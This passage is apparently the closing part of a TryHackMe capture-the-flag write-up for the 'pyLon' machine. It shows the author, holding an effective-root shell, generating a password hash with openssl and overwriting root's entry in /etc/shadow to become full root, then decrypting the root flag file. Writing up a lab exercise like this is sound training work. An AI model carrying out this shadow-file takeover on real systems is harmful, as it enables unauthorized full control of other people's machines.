gpg: decrypt_message failed: Permission denied
Permission denied. This is because we’re not really root:
bash-4.4# id
uid=1002(lone) gid=1002(lone) euid=0(root) egid=0(root) groups=0(root),1002(lone)
As you can see, our UID is still lone
, but our effective UID (EUID) is root
.
To become a real root, we can modify the /etc/shadow
root’s password hash:
- Generate shadow password hash:
┌──(root🌸siunam)-[~/ctf/thm/ctf/pyLon]
└─# openssl passwd -6 -salt abc password
$6$abc$rvqzMBuMVukmply9mZJpW0wJMdDfgUKLDrSNxf9l66h/ytQiKNAdqHSj5YPJpxWJpVjRXibQXRddCl9xYHQnd0
- Modify
/etc/shadow
:
bash-4.4# nano /etc/shadow
root:$6$abc$rvqzMBuMVukmply9mZJpW0wJMdDfgUKLDrSNxf9l66h/ytQiKNAdqHSj5YPJpxWJpVjRXibQXRddCl9xYHQnd0:18480:0:99999:7:::
[...]
- Login as root:
pood@pylon:/home/lone$ su root
Password:
root@pylon:/home/lone# id
uid=0(root) gid=0(root) groups=0(root)
I’m the real root!
Let’s decrypt the GPG file.
root.txt.gpg:
root@pylon:/home/lone# gpg -d /root/root.txt.gpg
gpg: encrypted with 3072-bit RSA key, ID 91B77766BE20A385, created 2021-01-27
"I am g ROOT <root@pylon.thm>"
ThM{Redacted}
Conclusion
What we’ve learned:
- Cracking Steganography Image File’s Passphrase via
stegseek
- Using
exiftool
To View Image’s Metadata - Viewing Git Repository Commits History
- Decrypting GPG File via Passphrase
- Vertical Privilege Escalation via Modifying OpenVPN Configuration File